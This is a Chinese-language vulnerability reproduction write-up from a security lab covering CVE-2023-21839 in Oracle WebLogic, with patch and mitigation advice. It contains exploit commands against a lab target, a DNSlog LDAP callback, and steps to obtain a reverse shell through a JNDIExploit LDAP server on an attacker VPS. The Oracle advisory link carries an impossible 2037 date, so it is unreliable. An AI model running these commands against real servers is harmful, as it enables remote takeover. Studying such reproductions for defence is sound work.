日期：
来源：弥天安全实验室收集编辑：弥天安全实验室
网安引领时代，弥天点亮未来
Oracle WebLogic Server 12.2.1.3.0
Oracle WebLogic Server 12.2.1.4.0
Oracle WebLogic Server 14.1.1.0.0
1.使用docker搭建漏洞环境
访问地址
2.对漏洞进行复现
1.测试DNSlog出网，生成域名
漏洞执行情况
java -jar Weblogic-CVE-2023-21839.jar 192.168.86.6:7001 ldap://kmtgrn.dnslog.cn/mt2.反弹shell
使用JNDIExploit-1.4-SNAPSHOT工具启动ladp服务，加载漏洞利用poc
java -jar JNDIExploit-1.4-SNAPSHOT.jar -i ip在vps服务器开启
nc监听反弹端口
执行漏洞利用代码
java -jar Weblogic-CVE-2023-21839.jar 192.168.86.6:7001 ldap://vsp:1389/Basic/ReverseShell/vps/12388成功获得shell
简单流量分析
执行命令
目前厂商已发布升级补丁以修复漏洞，补丁获取链接：
缓解方式禁用 T3 及 IIOP
https://www.oracle.com/security-alerts/cpujan2037.htmlhttps://mp.weixin.qq.com/s/Do9fV3K9VDW_pCPAaWnkbQhttps://mp.weixin.qq.com/s/3JyAFIJ4Isr_p1kTBucLHwhttps://github.com/DXask88MA/Weblogic-CVE-2023-21839https://github.com/WhiteHSBG/JNDIExploit
弥天简介
学海浩茫，予以风动，必降弥天之润！弥天弥天安全实验室成立于2019年2月19日，主要研究安全防守溯源、威胁狩猎、漏洞复现、工具分享等不同领域。目前主要力量为民间白帽子，也是民间组织。主要以技术共享、交流等不断赋能自己，赋能安全圈，为网络安全发展贡献自己的微薄之力。
口号 网安引领时代，弥天点亮未来
知识分享完了
喜欢别忘了关注我们哦~
弥 天
安全实验室